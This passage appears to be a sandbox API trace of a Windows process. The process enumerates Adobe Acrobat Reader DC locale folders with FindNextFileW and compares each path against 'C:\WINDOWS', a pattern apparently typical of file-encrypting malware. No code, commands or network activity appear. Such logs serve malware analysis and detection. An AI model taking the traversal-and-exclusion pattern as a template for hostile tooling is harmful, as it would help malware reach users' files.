	[0170.797] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eu-es", cAlternateFileName="")) returned 1
	[0170.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.797] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fi-fi", cAlternateFileName="")) returned 1
	[0170.797] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.797] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-fr", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="fr-ma", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="he-il", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hr-hr", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="hu-hu", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="it-it", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ja-jp", cAlternateFileName="")) returned 1
	[0170.798] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.798] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ko-kr", cAlternateFileName="")) returned 1
	[0170.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nb-no", cAlternateFileName="")) returned 1
	[0170.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="nl-nl", cAlternateFileName="")) returned 1
	[0170.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pl-pl", cAlternateFileName="")) returned 1
	[0170.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="pt-br", cAlternateFileName="")) returned 1
	[0170.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ro-ro", cAlternateFileName="")) returned 1
	[0170.799] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.799] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="root", cAlternateFileName="")) returned 1
	[0170.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ru-ru", cAlternateFileName="")) returned 1
	[0170.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sk-sk", cAlternateFileName="")) returned 1
	[0170.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-si", cAlternateFileName="")) returned 1
	[0170.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7c682b, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7c682b, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7c682b, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sl-sl", cAlternateFileName="")) returned 1
	[0170.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="sv-se", cAlternateFileName="")) returned 1
	[0170.800] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.800] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee81a6f4, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee81a6f4, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="tr-tr", cAlternateFileName="")) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.801] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4f6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.801] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7eca8e, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7eca8e, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7eca8e, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-cn", cAlternateFileName="")) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.801] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0170.801] FindNextFileW (in: hFindFile=0x4140898, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-tw", cAlternateFileName="")) returned 0
	[0170.801] FindClose (in: hFindFile=0x4140898 | out: hFindFile=0x4140898) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42d29c0 | out: hHeap=0x5a0000) returned 1
	[0170.801] FindNextFileW (in: hFindFile=0x4140ed8, lpFindFileData=0x374e420 | out: lpFindFileData=0x374e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee81a6f4, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nls", cAlternateFileName="")) returned 0
	[0170.801] FindClose (in: hFindFile=0x4140ed8 | out: hFindFile=0x4140ed8) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42c29b8 | out: hHeap=0x5a0000) returned 1
	[0170.801] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e69c | out: lpFindFileData=0x374e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee7a05e7, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee7a05e7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee7a05e7, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="dev", cAlternateFileName="")) returned 0
	[0170.801] FindClose (in: hFindFile=0x4140e98 | out: hFindFile=0x4140e98) returned 1
	[0170.801] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x42929a0 | out: hHeap=0x5a0000) returned 1
	[0170.804] FindNextFileW (in: hFindFile=0x4140e58, lpFindFileData=0x374e918 | out: lpFindFileData=0x374e918*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x408, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.js", cAlternateFileName="")) returned 1
	[0171.071] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.071] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ca-es", cAlternateFileName="")) returned 1
	[0171.073] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.073] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="cs-cz", cAlternateFileName="")) returned 1
	[0171.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.074] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee838f3c, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee838f3c, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee838f3c, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="da-dk", cAlternateFileName="")) returned 1
	[0171.074] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.074] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="de-de", cAlternateFileName="")) returned 1
	[0171.075] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.075] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-ae", cAlternateFileName="")) returned 1
	[0171.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.077] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-gb", cAlternateFileName="")) returned 1
	[0171.077] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.077] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="en-il", cAlternateFileName="")) returned 1
	[0171.079] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4210458 | out: hHeap=0x5a0000) returned 1
	[0171.079] FindNextFileW (in: hFindFile=0x4140e98, lpFindFileData=0x374e1a4 | out: lpFindFileData=0x374e1a4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="es-es", cAlternateFileName="")) returned 1
	[0171.079] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es") returned 106
	[0171.079] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es") returned 1
	[0171.079] lstrlenW (lpString="es-es") returned 5
	[0171.079] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="es-es") returned -1
	[0171.079] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4210458
	[0171.079] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\es-es") returned 106
